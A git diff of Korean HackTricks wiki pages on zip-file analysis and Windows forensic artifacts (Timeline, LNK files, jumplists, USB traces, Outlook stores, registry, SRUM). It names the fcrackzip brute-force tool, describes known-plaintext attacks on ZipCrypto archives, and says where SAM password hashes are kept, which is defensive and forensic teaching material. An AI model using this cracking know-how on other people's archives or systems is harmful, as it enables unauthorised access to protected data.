* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**ZIP 파일**을 관리하기 위한 **명령 줄 도구**는 ZIP 파일의 진단, 복구 및 크랙에 필수적입니다. 다음은 몇 가지 주요 유틸리티입니다:
|
||||
**명령줄 도구**를 사용하여 **zip 파일**을 관리하는 것은 zip 파일의 진단, 복구 및 해독에 필수적입니다. 다음은 몇 가지 주요 유틸리티입니다:
|
||||
|
||||
- **`unzip`**: ZIP 파일이 압축 해제되지 않을 수 있는 이유를 알려줍니다.
|
||||
- **`zipdetails -v`**: ZIP 파일 형식 필드에 대한 자세한 분석을 제공합니다.
|
||||
- **`zipinfo`**: ZIP 파일의 내용을 추출하지 않고 목록으로 표시합니다.
|
||||
- **`zip -F input.zip --out output.zip`** 및 **`zip -FF input.zip --out output.zip`**: 손상된 ZIP 파일을 복구하려고 시도합니다.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: ZIP 비밀번호의 브루트 포스 크랙을 위한 도구로, 약 7자리까지의 비밀번호에 효과적입니다.
|
||||
- **`unzip`**: zip 파일이 압축 해제되지 않는 이유를 보여줍니다.
|
||||
- **`zipdetails -v`**: zip 파일 형식 필드에 대한 상세 분석을 제공합니다.
|
||||
- **`zipinfo`**: 내용을 추출하지 않고 zip 파일의 내용을 나열합니다.
|
||||
- **`zip -F input.zip --out output.zip`** 및 **`zip -FF input.zip --out output.zip`**: 손상된 zip 파일을 복구하려고 시도합니다.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: zip 암호를 무력화하기 위한 브루트 포스 크래킹 도구로, 약 7자리까지의 암호에 효과적입니다.
|
||||
|
||||
[ZIP 파일 형식 사양](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)은 ZIP 파일의 구조와 표준에 대한 포괄적인 세부 정보를 제공합니다.
|
||||
[Zip 파일 형식 명세](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)는 zip 파일의 구조와 표준에 대한 포괄적인 세부 정보를 제공합니다.
|
||||
|
||||
암호로 보호된 ZIP 파일은 내부의 파일 이름이나 파일 크기를 **암호화하지 않는다는 점**을 꼭 기억해야 합니다. 이는 RAR 또는 7z 파일과는 달리 이 정보를 암호화하지 않는 보안 결함입니다. 또한, 이전의 ZipCrypto 방법으로 암호화된 ZIP 파일은 압축 파일의 암호화되지 않은 복사본이 있는 경우 **평문 공격**에 취약합니다. 이 공격은 알려진 내용을 활용하여 ZIP의 비밀번호를 크랙하는 것으로, [HackThis의 기사](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)에서 자세히 설명되었으며, [이 학술 논문](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf)에서 더 자세히 설명되었습니다. 그러나 **AES-256** 암호화로 보호된 ZIP 파일은 이 평문 공격에 면역이므로, 민감한 데이터에 대해 안전한 암호화 방법을 선택하는 것의 중요성을 보여줍니다.
|
||||
암호로 보호된 zip 파일은 내부의 파일 이름이나 파일 크기를 **암호화하지 않는다는 점**을 주목해야 합니다. 이는 RAR 또는 7z 파일과 공유되지 않는 보안 결함입니다. 또한, 이전 ZipCrypto 방법으로 암호화된 zip 파일은 압축 파일의 암호가 해독되지 않은 복사본이 있는 경우 **평문 공격**에 취약합니다. 이 공격은 알려진 콘텐츠를 활용하여 zip 파일의 암호를 크래킹하는데 사용되며, 이 취약점은 [HackThis의 기사](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)에서 자세히 설명되어 있으며, [이 학술 논문](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf)에서 더 자세히 설명되어 있습니다. 그러나 **AES-256** 암호화로 보호된 zip 파일은 이 평문 공격에 면역이며, 민감한 데이터에 대해 안전한 암호화 방법을 선택하는 중요성을 보여줍니다.
|
||||
|
||||
## 참고 자료
|
||||
* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 트릭을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,19 +2,20 @@
|
|||
|
||||
## Windows 아티팩트
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -24,19 +25,19 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### Windows 10 알림
|
||||
|
||||
경로 `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`에 `appdb.dat` (Windows Anniversary 이전) 또는 `wpndatabase.db` (Windows Anniversary 이후)라는 데이터베이스를 찾을 수 있습니다.
|
||||
경로 `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`에 `appdb.dat` 데이터베이스(Windows Anniversary 이전) 또는 `wpndatabase.db` 데이터베이스(Windows Anniversary 이후)를 찾을 수 있습니다.
|
||||
|
||||
이 SQLite 데이터베이스 안에는 흥미로운 데이터를 포함할 수 있는 모든 알림(XML 형식)을 포함하는 `Notification` 테이블이 있습니다.
|
||||
|
||||
### 타임라인
|
||||
|
||||
타임라인은 방문한 웹 페이지, 편집된 문서 및 실행된 응용 프로그램의 **시간순 역사**를 제공하는 Windows의 특성입니다.
|
||||
타임라인은 방문한 웹 페이지, 편집된 문서 및 실행된 애플리케이션의 **시간순** **이력**을 제공하는 Windows 특성입니다.
|
||||
|
||||
데이터베이스는 경로 `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`에 있습니다. 이 데이터베이스는 SQLite 도구나 [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) 도구로 열 수 있으며 **2개의 파일을 생성**하여 [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) 도구로 열 수 있습니다.
|
||||
데이터베이스는 경로 `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`에 있습니다. 이 데이터베이스는 SQLite 도구나 [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) 도구로 열거나 [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) 도구로 열 수 있는 2개의 파일을 생성합니다.
|
||||
|
||||
### ADS (대체 데이터 스트림)
|
||||
|
||||
다운로드된 파일에는 **어떻게** 인트라넷, 인터넷 등에서 **다운로드**되었는지를 나타내는 **ADS Zone.Identifier**가 포함될 수 있습니다. 일부 소프트웨어(브라우저와 같은)는 파일이 다운로드된 URL과 같은 **더 많은 정보**를 보통 포함합니다.
|
||||
다운로드된 파일에는 **어떻게** 인트라넷, 인터넷 등에서 다운로드되었는지를 나타내는 **ADS Zone.Identifier**가 포함될 수 있습니다. 일부 소프트웨어(브라우저와 같은)는 파일이 다운로드된 URL과 같은 **추가 정보**를 보통 포함합니다.
|
||||
|
||||
## **파일 백업**
|
||||
|
||||
|
@ -50,7 +51,7 @@ Vista/Win7/Win8/Win10에서 **휴지통**은 드라이브 루트(`C:\$Recycle.bi
|
|||
|
||||
![](<../../../.gitbook/assets/image (486).png>)
|
||||
|
||||
이러한 파일을 사용하여 삭제된 파일의 원래 주소와 삭제된 날짜를 얻을 수 있습니다([**Rifiuti**](https://github.com/abelcheung/rifiuti2) 도구를 사용하고 Vista - Win10용 `rifiuti-vista.exe`를 사용하세요).
|
||||
이러한 파일을 사용하여 삭제된 파일의 원래 주소와 삭제된 날짜를 얻을 수 있는 [**Rifiuti**](https://github.com/abelcheung/rifiuti2) 도구를 사용할 수 있습니다(`rifiuti-vista.exe`를 Vista - Win10에 사용).
|
||||
```
|
||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||
```
|
||||
|
@ -68,7 +69,7 @@ Vista/Win7/Win8/Win10에서 **휴지통**은 드라이브 루트(`C:\$Recycle.bi
|
|||
|
||||
![](<../../../.gitbook/assets/image (521).png>)
|
||||
|
||||
레지스트리 항목 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`에는 **백업하지 않을 파일** 및 키가 포함되어 있습니다:
|
||||
레지스트리 항목 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`에는 백업하지 않을 파일 및 키가 포함되어 있습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (522).png>)
|
||||
|
||||
|
@ -91,13 +92,13 @@ Windows는 사용자가 파일을 **열거나 사용하거나 생성할 때**
|
|||
|
||||
폴더가 생성되면 해당 폴더, 상위 폴더 및 상위 상위 폴더로의 링크도 생성됩니다.
|
||||
|
||||
이러한 자동으로 생성된 링크 파일에는 **원본에 대한 정보**가 포함되어 있으며 **파일**인지 **폴더**인지, 해당 파일의 **MAC 시간**, 파일이 저장된 위치의 **볼륨 정보** 및 **대상 파일의 폴더**가 있는 정보가 포함됩니다. 이 정보는 파일이 삭제된 경우 해당 파일을 복구하는 데 유용할 수 있습니다.
|
||||
이러한 자동으로 생성된 링크 파일에는 **원본에 대한 정보**가 포함되어 있으며 **파일**인지 **폴더**인지, 해당 파일의 **MAC 시간**, 파일이 저장된 위치의 **볼륨 정보** 및 **대상 파일의 폴더**가 포함됩니다. 이 정보는 파일이 삭제된 경우 해당 파일을 복구하는 데 유용할 수 있습니다.
|
||||
|
||||
또한, 링크 파일의 **생성 날짜**는 원본 파일이 **처음 사용된 시간**이고 링크 파일의 **수정 날짜**는 원본 파일이 **마지막으로 사용된 시간**입니다.
|
||||
|
||||
이러한 파일을 검사하려면 [**LinkParser**](http://4discovery.com/our-tools/)를 사용할 수 있습니다.
|
||||
|
||||
이 도구에서는 **2 세트**의 타임스탬프를 찾을 수 있습니다:
|
||||
이 도구에서 **2 세트**의 타임스탬프를 찾을 수 있습니다:
|
||||
|
||||
* **첫 번째 세트:**
|
||||
1. 파일 수정 날짜
|
||||
|
@ -116,11 +117,11 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
|||
```
|
||||
### 점프리스트
|
||||
|
||||
이것들은 각 응용 프로그램에서 표시된 최근 파일들입니다. **응용 프로그램에서 사용된 최근 파일 목록**으로, 각 응용 프로그램에서 액세스할 수 있는 목록입니다. 이들은 **자동으로 생성되거나 사용자 정의될 수 있습니다**.
|
||||
이것들은 각 응용 프로그램에서 나타나는 최근 파일들입니다. **응용 프로그램에서 사용된 최근 파일 목록**으로, 각 응용 프로그램에서 액세스할 수 있는 목록입니다. 이들은 **자동으로 생성되거나 사용자 정의될 수 있습니다**.
|
||||
|
||||
자동으로 생성된 **점프리스트**는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`에 저장됩니다. 점프리스트는 초기 ID가 응용 프로그램의 ID인 `{id}.autmaticDestinations-ms` 형식을 따릅니다.
|
||||
|
||||
사용자 정의 점프리스트는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`에 저장되며, 일반적으로 응용 프로그램에 의해 생성됩니다. 파일에 중요한 일이 발생했기 때문에 (즐겨 찾기로 표시된 경우일 수도 있음)
|
||||
사용자 정의 점프리스트는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`에 저장되며, 일반적으로 응용 프로그램에 의해 생성됩니다. 파일에 중요한 일이 발생했기 때문에 (즐겨 찾기로 표시된 것일 수도 있음)
|
||||
|
||||
어떤 점프리스트의 **생성 시간**은 **파일에 처음 액세스한 시간을 나타내며**, **수정된 시간은 마지막 시간**을 나타냅니다.
|
||||
|
||||
|
@ -136,27 +137,27 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
|||
|
||||
## Windows USB 사용
|
||||
|
||||
USB 장치가 사용되었음을 식별하는 것이 가능합니다:
|
||||
USB 장치가 사용되었음을 식별할 수 있습니다:
|
||||
|
||||
* Windows 최근 폴더
|
||||
* Microsoft Office 최근 폴더
|
||||
* 점프리스트
|
||||
|
||||
일부 LNK 파일은 원본 경로를 가리키는 대신 WPDNSE 폴더를 가리킵니다:
|
||||
일부 LNK 파일은 원본 경로를 가리키는 대신 WPDNSE 폴더를 가리킬 수 있음에 유의하십시오:
|
||||
|
||||
![](<../../../.gitbook/assets/image (476).png>)
|
||||
|
||||
WPDNSE 폴더의 파일은 원본 파일의 사본이므로 PC를 다시 시작하면 살아남지 않으며, GUID는 쉘백에서 가져옵니다.
|
||||
WPDNSE 폴더의 파일은 원본 파일의 사본이므로 PC를 다시 시작하면 살아남지 않으며 GUID는 쉘백에서 가져옵니다.
|
||||
|
||||
### 레지스트리 정보
|
||||
|
||||
USB 연결된 장치에 대한 흥미로운 정보를 포함하는 레지스트리 키가 어디에 있는지 알아보려면 [이 페이지를 확인하세요](interesting-windows-registry-keys.md#usb-information).
|
||||
USB 연결된 장치에 대한 흥미로운 정보를 포함하는 레지스트리 키가 어떤 것인지 알아보려면 [이 페이지를 확인하세요](interesting-windows-registry-keys.md#usb-information).
|
||||
|
||||
### setupapi
|
||||
|
||||
USB 연결이 발생한 시간에 대한 타임스탬프를 얻으려면 파일 `C:\Windows\inf\setupapi.dev.log`를 확인하십시오 (`Section start`를 검색).
|
||||
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
|
@ -166,9 +167,9 @@ USB 연결이 발생한 시간에 대한 타임스탬프를 얻으려면 파일
|
|||
|
||||
### 플러그 앤 플레이 정리
|
||||
|
||||
'플러그 앤 플레이 정리'로 알려진 예약된 작업은 오래된 드라이버 버전을 제거하기 위해 주로 설계되었습니다. 최신 드라이버 패키지 버전을 유지하는 것이 명시된 목적과는 달리, 온라인 소스에 따르면 지난 30일간 비활성화된 드라이버도 대상으로 삼을 수 있다고 합니다. 따라서, 지난 30일간 연결되지 않은 제거 가능한 장치의 드라이버는 삭제 대상이 될 수 있습니다.
|
||||
'플러그 앤 플레이 정리'라고 알려진 예약된 작업은 오래된 드라이버 버전을 제거하기 위해 주로 설계되었습니다. 최신 드라이버 패키지 버전을 유지하는 것이 명시된 목적과는 달리, 온라인 소스에 따르면 30일 동안 비활성화된 드라이버도 대상으로 삼을 수 있습니다. 따라서 지난 30일 동안 연결되지 않은 제거 가능한 장치의 드라이버는 삭제 대상이 될 수 있습니다.
|
||||
|
||||
해당 작업은 다음 경로에 위치합니다:
|
||||
해당 작업은 다음 경로에 있습니다:
|
||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
||||
작업 내용을 보여주는 스크린샷이 제공됩니다:
|
||||
|
@ -176,7 +177,7 @@ USB 연결이 발생한 시간에 대한 타임스탬프를 얻으려면 파일
|
|||
|
||||
**작업의 주요 구성 요소 및 설정:**
|
||||
- **pnpclean.dll**: 이 DLL은 실제 정리 프로세스를 담당합니다.
|
||||
- **UseUnifiedSchedulingEngine**: `TRUE`로 설정되어 일반적인 작업 스케줄링 엔진을 사용함을 나타냅니다.
|
||||
- **UseUnifiedSchedulingEngine**: `TRUE`로 설정되어 일반적인 작업 예약 엔진을 사용함을 나타냅니다.
|
||||
- **MaintenanceSettings**:
|
||||
- **기간 ('P1M')**: 작업 스케줄러에게 정기적인 자동 유지 관리 중에 매월 정리 작업을 시작하도록 지시합니다.
|
||||
- **마감 기한 ('P2M')**: 작업이 두 달 연속 실패하면 비상 자동 유지 관리 중에 작업을 실행하도록 작업 스케줄러에게 지시합니다.
|
||||
|
@ -187,7 +188,7 @@ USB 연결이 발생한 시간에 대한 타임스탬프를 얻으려면 파일
|
|||
|
||||
## 이메일
|
||||
|
||||
이메일에는 **헤더와 내용** 두 가지 흥미로운 부분이 포함되어 있습니다. **헤더**에서는 다음과 같은 정보를 찾을 수 있습니다:
|
||||
이메일에는 **헤더와 내용** 두 가지 흥미로운 부분이 포함됩니다. **헤더**에서는 다음과 같은 정보를 찾을 수 있습니다:
|
||||
|
||||
* 이메일을 보낸 **사람** (이메일 주소, IP, 이메일을 리디렉션한 메일 서버)
|
||||
* 이메일이 보내진 **시간**
|
||||
|
@ -211,7 +212,7 @@ Exchange 서버 또는 Outlook 클라이언트를 사용할 때 MAPI 헤더가
|
|||
* `Mapi-Client-Submit-Time`: 이메일이 보내진 시스템 시간
|
||||
* `Mapi-Conversation-Index`: 쓰레드의 자식 메시지 수 및 쓰레드의 각 메시지의 타임스탬프
|
||||
* `Mapi-Entry-ID`: 메시지 식별자.
|
||||
* `Mappi-Message-Flags` 및 `Pr_last_Verb-Executed`: MAPI 클라이언트에 대한 정보 (메시지 읽음? 읽지 않음? 응답함? 리디렉트됨? 사무실 외부?)
|
||||
* `Mappi-Message-Flags` 및 `Pr_last_Verb-Executed`: MAPI 클라이언트에 대한 정보 (메시지 읽음? 읽지 않음? 응답함? 리디렉션됨? 사무실 외?).
|
||||
|
||||
Microsoft Outlook 클라이언트에서 모든 보낸/받은 메시지, 연락처 데이터 및 캘린더 데이터는 다음 위치의 PST 파일에 저장됩니다:
|
||||
|
||||
|
@ -223,9 +224,9 @@ Microsoft Outlook 클라이언트에서 모든 보낸/받은 메시지, 연락
|
|||
PST 파일을 열려면 [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) 도구를 사용할 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (485).png>)
|
||||
### Microsoft Outlook OST 파일
|
||||
### Microsoft Outlook OST Files
|
||||
|
||||
**OST 파일**은 Microsoft Outlook이 **IMAP** 또는 **Exchange** 서버와 구성될 때 생성되며 PST 파일과 유사한 정보를 저장합니다. 이 파일은 서버와 동기화되어 **최대 50GB**까지의 데이터를 **지난 12개월 동안** 유지하며 PST 파일과 동일한 디렉토리에 위치합니다. OST 파일을 보려면 [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)를 사용할 수 있습니다.
|
||||
**OST 파일**은 Microsoft Outlook이 **IMAP** 또는 **Exchange** 서버와 구성될 때 생성되며 PST 파일과 유사한 정보를 저장합니다. 이 파일은 서버와 동기화되어 **최대 50GB**의 **최근 12개월** 데이터를 유지하며 PST 파일과 동일한 디렉토리에 위치합니다. OST 파일을 보려면 [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)를 사용할 수 있습니다.
|
||||
|
||||
### 첨부 파일 검색
|
||||
|
||||
|
@ -240,26 +241,26 @@ PST 파일을 열려면 [**Kernel PST Viewer**](https://www.nucleustechnologies.
|
|||
|
||||
### 이미지 썸네일
|
||||
|
||||
- **Windows XP 및 8-8.1**: 썸네일이 포함된 폴더에 액세스하면 이미지 미리보기를 저장하는 `thumbs.db` 파일이 생성되며 삭제 후에도 유지됩니다.
|
||||
- **Windows XP 및 8-8.1**: 썸네일이 있는 폴더에 액세스하면 이미지 미리보기를 저장하는 `thumbs.db` 파일이 생성되며 삭제 후에도 유지됩니다.
|
||||
- **Windows 7/10**: `thumbs.db`는 UNC 경로를 통해 네트워크에서 액세스할 때 생성됩니다.
|
||||
- **Windows Vista 및 이후**: 썸네일 미리보기는 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer`에 **thumbcache\_xxx.db**라는 파일로 중앙 집중화됩니다. [**Thumbsviewer**](https://thumbsviewer.github.io) 및 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io)는 이러한 파일을 보는 데 사용할 수 있는 도구입니다.
|
||||
- **Windows Vista 이상**: 썸네일 미리보기는 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer`에 **thumbcache\_xxx.db**라는 파일로 중앙 집중화됩니다. [**Thumbsviewer**](https://thumbsviewer.github.io) 및 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io)는 이러한 파일을 보는 데 사용되는 도구입니다.
|
||||
|
||||
### Windows 레지스트리 정보
|
||||
|
||||
Windows 레지스트리는 다음 위치에 포함된 파일에 포함되어 있으며 시스템 및 사용자 활동 데이터를 저장합니다:
|
||||
Windows 레지스트리는 시스템 및 사용자 활동 데이터를 포함하고 있는 파일에 저장되어 있습니다:
|
||||
|
||||
- 다양한 `HKEY_LOCAL_MACHINE` 하위 키에 대한 `%windir%\System32\Config`.
|
||||
- `HKEY_CURRENT_USER`에 대한 `%UserProfile%{User}\NTUSER.DAT`.
|
||||
- 다양한 `HKEY_LOCAL_MACHINE` 하위 키에 대한 파일은 `%windir%\System32\Config`에 있습니다.
|
||||
- `HKEY_CURRENT_USER`에 대한 파일은 `%UserProfile%{User}\NTUSER.DAT`에 있습니다.
|
||||
- Windows Vista 이상 버전은 `%Windir%\System32\Config\RegBack\`에 `HKEY_LOCAL_MACHINE` 레지스트리 파일을 백업합니다.
|
||||
- 또한, 프로그램 실행 정보는 Windows Vista 및 Windows 2008 Server 이후에 `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`에 저장됩니다.
|
||||
|
||||
### 도구
|
||||
|
||||
레지스트리 파일을 분석하는 데 유용한 일부 도구는 다음과 같습니다:
|
||||
일부 도구는 레지스트리 파일을 분석하는 데 유용합니다:
|
||||
|
||||
* **레지스트리 편집기**: Windows에 설치되어 현재 세션의 Windows 레지스트리를 탐색하는 GUI 도구입니다.
|
||||
* [**레지스트리 탐색기**](https://ericzimmerman.github.io/#!index.md): 레지스트리 파일을 로드하고 GUI를 통해 탐색할 수 있도록 해주는 도구입니다. 흥미로운 정보가 포함된 키를 강조하는 책갈피도 포함되어 있습니다.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): 로드된 레지스트리를 탐색하고 흥미로운 정보를 강조하는 플러그인도 포함된 GUI를 제공합니다.
|
||||
* **레지스트리 편집기**: Windows에 설치되어 현재 세션의 Windows 레지스트리를 탐색하는 GUI입니다.
|
||||
* [**레지스트리 탐색기**](https://ericzimmerman.github.io/#!index.md): 레지스트리 파일을 로드하고 GUI로 탐색할 수 있게 해줍니다. 흥미로운 정보가 포함된 키를 강조하는 책갈피도 포함되어 있습니다.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): 로드된 레지스트리를 탐색하고 흥미로운 정보를 강조하는 플러그인도 포함되어 있는 GUI를 제공합니다.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): 로드된 레지스트리에서 중요한 정보를 추출할 수 있는 또 다른 GUI 응용 프로그램입니다.
|
||||
|
||||
### 삭제된 요소 복구
|
||||
|
@ -274,7 +275,7 @@ Windows 레지스트리는 다음 위치에 포함된 파일에 포함되어 있
|
|||
|
||||
파일/하이브 **SAM**에는 시스템의 **사용자, 그룹 및 사용자 비밀번호** 해시가 포함되어 있습니다.
|
||||
|
||||
`SAM\Domains\Account\Users`에서는 사용자 이름, RID, 마지막 로그인, 마지막 로그인 실패, 로그인 횟수, 비밀번호 정책 및 계정 생성 시간을 얻을 수 있습니다. **해시**를 얻으려면 파일/하이브 **SYSTEM**도 필요합니다.
|
||||
`SAM\Domains\Account\Users`에서는 사용자 이름, RID, 마지막 로그인, 마지막 로그인 실패, 로그인 횟수, 암호 정책 및 계정 생성 시간을 얻을 수 있습니다. **해시**를 얻으려면 파일/하이브 **SYSTEM**도 필요합니다.
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
|
@ -291,7 +292,7 @@ Windows 레지스트리는 다음 위치에 포함된 파일에 포함되어 있
|
|||
|
||||
### SRUM
|
||||
|
||||
**시스템 리소스 사용 모니터**(SRUM)는 **프로세스가 사용한 리소스를 모니터링**합니다. W8에 등장하며, 데이터를 `C:\Windows\System32\sru\SRUDB.dat`에 위치한 ESE 데이터베이스에 저장합니다.
|
||||
**System Resource Usage Monitor** (SRUM)은 **프로세스가 사용한 리소스를 모니터링**합니다. W8에 등장하였으며, 데이터는 `C:\Windows\System32\sru\SRUDB.dat`에 위치한 ESE 데이터베이스에 저장됩니다.
|
||||
|
||||
다음 정보를 제공합니다:
|
||||
|
||||
|
@ -303,20 +304,20 @@ Windows 레지스트리는 다음 위치에 포함된 파일에 포함되어 있
|
|||
* 연결 기간
|
||||
* 프로세스 기간
|
||||
|
||||
